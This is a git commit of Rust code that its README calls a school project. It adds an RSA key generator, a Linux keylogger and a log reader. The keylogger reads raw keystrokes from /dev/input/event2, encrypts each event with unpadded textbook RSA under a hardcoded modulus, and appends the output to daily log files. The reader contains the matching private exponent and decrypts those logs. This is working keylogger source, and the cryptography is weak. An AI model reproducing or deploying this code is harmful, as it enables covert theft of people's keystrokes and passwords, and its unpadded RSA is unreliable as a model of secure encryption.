Saataa andagii !

This commit is contained in:
Lukian 2024-11-30 18:31:38 +01:00
commit 092492ba24
13 changed files with 389 additions and 0 deletions

2
keygen/.gitignore vendored Normal file
View file

@ -0,0 +1,2 @@
/target
Cargo.lock

10
keygen/Cargo.toml Normal file
View file

@ -0,0 +1,10 @@
[package]
name = "rust_rsa_key_gen"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
num-bigint-dig = "0.8.4"
rand = "0.8.5"

21
keygen/src/main.rs Normal file
View file

@ -0,0 +1,21 @@
mod rsa;
use rsa::gen_keys;
use std::io::Write;
use std::io;
fn main() {
let mut input = String::new();
print!("Enter an integer: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut input).expect("Failed to read line");
let num: i32 = input.trim().parse().expect("Invalid input");
let (e, d, n) = gen_keys(num.try_into().unwrap());
println!("e : {}", e);
println!("d : {}", d);
println!("n : {}", n);
}

91
keygen/src/rsa.rs Normal file
View file

@ -0,0 +1,91 @@
use num_bigint_dig::{ToBigUint, RandBigInt, BigUint};
use num_bigint_dig::traits::ModInverse;
fn get_s_and_d(n: &BigUint) -> (BigUint, BigUint) {
let mut d = n - 1.to_biguint().unwrap();
let mut s = 0.to_biguint().unwrap();
while &d % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() {
s += 1.to_biguint().unwrap();
d /= 2.to_biguint().unwrap();
}
(d, s)
}
fn miller_witness(n: &BigUint, a: &BigUint) -> bool {
let (d, s) = get_s_and_d(&n);
let mut x = a.modpow(&d, &n);
if x == 1.to_biguint().unwrap() {
return false;
}
let mut i = 0.to_biguint().unwrap();
while i < s.clone(){
if x == n.clone() - 1.to_biguint().unwrap() {
return false;
}
x = x.modpow(&2.to_biguint().unwrap(), &n);
i += 1.to_biguint().unwrap();
}
true
}
fn is_prime(n: BigUint, k: u16) -> bool {
if n.clone() == 3.to_biguint().unwrap() || n.clone() == 2.to_biguint().unwrap() {
return true;
}
if n.clone() == 1.to_biguint().unwrap() {
return false;
}
if n.clone() % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() {
return false;
}
for _ in 0..k {
let mut rng = rand::thread_rng();
let min = 2.to_biguint().unwrap();
let max = n.clone() - 1.to_biguint().unwrap();
let a = rng.gen_biguint_range(&min, &max);
if miller_witness(&n, &a) {
return false;
}
}
return true;
}
fn gen_prime_number(lenght: usize) -> BigUint {
let mut rng = rand::thread_rng();
let mut a = rng.gen_biguint(lenght);
while !is_prime(a.clone(), 50) {
a = rng.gen_biguint(lenght);
}
a
}
pub fn gen_keys(lenght: usize) -> (BigUint, BigUint, BigUint) {
let p = gen_prime_number(lenght / 2);
let mut q = gen_prime_number(lenght / 2);
while p == q {
q = gen_prime_number(lenght / 2);
}
let n = &p * &q;
let phi_n = (&p - 1.to_biguint().unwrap()) * (&q - 1.to_biguint().unwrap());
let e = 65537.to_biguint().unwrap();
let d = e.clone().mod_inverse(&phi_n).unwrap().to_biguint().expect("error");
(e, d, n)
}

4
keylogger/.gitignore vendored Normal file
View file

@ -0,0 +1,4 @@
/target
Cargo.lock
/src/config.json
/src/data/logs/*

13
keylogger/Cargo.toml Normal file
View file

@ -0,0 +1,13 @@
[package]
name = "projet-pei"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
chrono = "0.4.38"
libc = "0.2.153"
num-bigint = { version = "0.4.4", features = ["rand"] }
num-bigint-dig = "0.8.4"
rand = "0.8.5"

3
keylogger/README.md Normal file
View file

@ -0,0 +1,3 @@
# Rust Keylogger with RSA encryption
This is a Keylogger with RSA encryption built in rust. It is a school project.

View file

@ -0,0 +1,43 @@
use std::fs::File;
use std::io::Read;
use std::mem;
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct Timeval {
pub tv_sec: libc::c_long,
pub tv_usec: libc::c_long,
}
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct InputEvent {
pub time: Timeval,
pub type_: libc::c_ushort,
pub code: libc::c_ushort,
pub value: libc::c_uint,
}
pub struct KeyLogger {
event_file: File
}
impl KeyLogger {
pub fn new(event_file: &str) -> KeyLogger {
KeyLogger {
event_file: File::open(event_file).expect("Error while opening the file")
}
}
pub fn get_current_event(&mut self) -> [u8; mem::size_of::<InputEvent>()] {
let mut event_data = [0u8; mem::size_of::<InputEvent>()];
self.event_file.read_exact(&mut event_data).expect("Error while reading event file");
/*
let event: InputEvent = unsafe { *(event_data.as_ptr() as *const InputEvent) };
println!("{:?}", event);
*/
return event_data;
}
}

47
keylogger/src/main.rs Normal file
View file

@ -0,0 +1,47 @@
mod keylogger;
mod rsa;
use keylogger::KeyLogger;
use rsa::{gen_keys, pad_data};
use chrono::{DateTime, Local};
use num_bigint_dig::{ToBigUint, RandBigInt, BigUint};
use std::path::Path;
use std::fs::File;
use std::fs::OpenOptions;
use std::io::prelude::*;
fn main() {
let e = BigUint::parse_bytes(b"65537", 10)
.unwrap();
let n = BigUint::parse_bytes(b"726893654806863106618546895057273655441264661325145055622991128175682274731729906015556264256579162493516172845029834644722324327896454261243147930093884060587847049206343040997875678249683217673083057390927228523219516562706789293756062419996669732335698292474241738313810472297868623226097796896132340484716735649944952179058084460249003603199405921560958818961267822766679758920394983786136620924522112830057005196535366761215933393212482864750854232592685811474461298568003115633675850369800934986362845952917985790835063623075408167396594117256336524956863695783013250764066998836408497995291717070517025671368786854251119784534482238786198981808730172431511580525492332130939522228645811310849928074140276569038233908484935569527065290886443920205920064757536160231476433607492303337517653184135797961475927231058895093552142050530878770429480616001550597029356030412941690284376485270056410912518806914509324633661109", 10)
.unwrap();
let mut test = KeyLogger::new("/dev/input/event2");
let current_local: DateTime<Local> = Local::now();
let custom_format = current_local.format("%Y-%m-%d");
let logs_file_url = format!("./src/data/logs/{}.log", custom_format);
if !Path::new(logs_file_url.as_str()).exists() {
File::create(logs_file_url.as_str())
.expect("Error while creating the file");
}
let mut logs_file = OpenOptions::new()
.append(true)
.open(logs_file_url.as_str())
.expect("Error while opening the file");
loop {
let event = &mut test.get_current_event();
let padded_event = pad_data(event.to_vec(), 3072);
let event_as_bigint = BigUint::from_bytes_be(&padded_event);
let cypher = event_as_bigint.clone().modpow(&e, &n);
let buffer = pad_data(cypher.clone().to_bytes_be(), 3072);
println!("{:?}", buffer.len());
let _ = logs_file.write_all(&buffer);
}
}

103
keylogger/src/rsa.rs Normal file
View file

@ -0,0 +1,103 @@
use num_bigint_dig::{ToBigUint, RandBigInt, BigUint};
use num_bigint_dig::traits::ModInverse;
fn get_s_and_d(n: &BigUint) -> (BigUint, BigUint) {
let mut d = n - 1.to_biguint().unwrap();
let mut s = 0.to_biguint().unwrap();
while &d % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() {
s += 1.to_biguint().unwrap();
d /= 2.to_biguint().unwrap();
}
(d, s)
}
fn miller_witness(n: &BigUint, a: &BigUint) -> bool {
let (d, s) = get_s_and_d(&n);
let mut x = a.modpow(&d, &n);
if x == 1.to_biguint().unwrap() {
return false;
}
let mut i = 0.to_biguint().unwrap();
while i < s.clone(){
if x == n.clone() - 1.to_biguint().unwrap() {
return false;
}
x = x.modpow(&2.to_biguint().unwrap(), &n);
i += 1.to_biguint().unwrap();
}
true
}
fn is_prime(n: BigUint, k: u16) -> bool {
if n.clone() == 3.to_biguint().unwrap() || n.clone() == 2.to_biguint().unwrap() {
return true;
}
if n.clone() == 1.to_biguint().unwrap() {
return false;
}
if n.clone() % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() {
return false;
}
for _ in 0..k {
let mut rng = rand::thread_rng();
let min = 2.to_biguint().unwrap();
let max = n.clone() - 1.to_biguint().unwrap();
let a = rng.gen_biguint_range(&min, &max);
if miller_witness(&n, &a) {
return false;
}
}
return true;
}
fn gen_prime_number(lenght: usize) -> BigUint {
let mut rng = rand::thread_rng();
let mut a = rng.gen_biguint(lenght);
while !is_prime(a.clone(), 50) {
a = rng.gen_biguint(lenght);
}
a
}
pub fn gen_keys(lenght: usize) -> (BigUint, BigUint, BigUint) {
let p = gen_prime_number(lenght / 2);
let mut q = gen_prime_number(lenght / 2);
while p == q {
q = gen_prime_number(lenght / 2);
}
let n = &p * &q;
let phi_n = (&p - 1.to_biguint().unwrap()) * (&q - 1.to_biguint().unwrap());
let e = 65537.to_biguint().unwrap();
let d = e.clone().mod_inverse(&phi_n).unwrap().to_biguint().expect("error");
(e, d, n)
}
pub fn pad_data(data: Vec<u8>, length: usize) -> Vec<u8> {
let mut padded_data = data;
let num_zeros = (length / 8) - padded_data.len();
for _ in 0..num_zeros {
padded_data.insert(0, 0);
}
padded_data
}

2
reader/.gitignore vendored Normal file
View file

@ -0,0 +1,2 @@
/target
Cargo.lock

10
reader/Cargo.toml Normal file
View file

@ -0,0 +1,10 @@
[package]
name = "keylogger_logs_reader"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
libc = "0.2.153"
num-bigint-dig = "0.8.4"

40
reader/src/main.rs Normal file
View file

@ -0,0 +1,40 @@
use std::io;
use std::fs::File;
use std::io::Read;
use num_bigint_dig::{ToBigUint, RandBigInt, BigUint};
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct Timeval {
pub tv_sec: libc::c_long,
pub tv_usec: libc::c_long,
}
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct InputEvent {
pub time: Timeval,
pub type_: libc::c_ushort,
pub code: libc::c_ushort,
pub value: libc::c_uint,
}
fn main() {
let mut f = File::open("/home/lucien/Documents/devoirs/projet-pei/src/data/logs/2024-04-26.log").expect("error opening file");
let mut buffer = [0; 384];
let d = BigUint::parse_bytes(b"633959252352879769414268328237234655198007316661163023777391807746244830540247767948443855415682008175601529021411039391840313318185231741827301362410641700643608368380245594661894472090504499073166019109062339257674002894413761118948212701255316059032971344450351851298362436113974926627054913636405882439315793769619506182013244298318698566484148552185502604241697761778810163119641370267909684282219737326096682836009711969384932494457163061834220764248176381108280474841227286418500241941495576383574505788225980542400074224688985134117693527572573321451492738181692632152599780061960977278794872092351976614468324388387378747822376461734816372605021310951703337525451548588541228821457303051142707331995242314511807098148708151025145265736969455083061017142240722663072698443409233801199735896318182689936557502323416873005259657496521896982570683306572548975472052579033816662895042418300552110513374202225883037863617", 10)
.unwrap();
let n = BigUint::parse_bytes(b"726893654806863106618546895057273655441264661325145055622991128175682274731729906015556264256579162493516172845029834644722324327896454261243147930093884060587847049206343040997875678249683217673083057390927228523219516562706789293756062419996669732335698292474241738313810472297868623226097796896132340484716735649944952179058084460249003603199405921560958818961267822766679758920394983786136620924522112830057005196535366761215933393212482864750854232592685811474461298568003115633675850369800934986362845952917985790835063623075408167396594117256336524956863695783013250764066998836408497995291717070517025671368786854251119784534482238786198981808730172431511580525492332130939522228645811310849928074140276569038233908484935569527065290886443920205920064757536160231476433607492303337517653184135797961475927231058895093552142050530878770429480616001550597029356030412941690284376485270056410912518806914509324633661109", 10)
.unwrap();
// read exactly 10 bytes
loop {
f.read_exact(&mut buffer).expect("error reading file");
let event_as_bigint = BigUint::from_bytes_be(&buffer);
let event_decrypted = &event_as_bigint.modpow(&d, &n);
let event_padded = &event_decrypted.to_bytes_be();
let event: InputEvent = unsafe { *(event_padded.as_ptr() as *const InputEvent) };
println!("{:?}", event);
}
}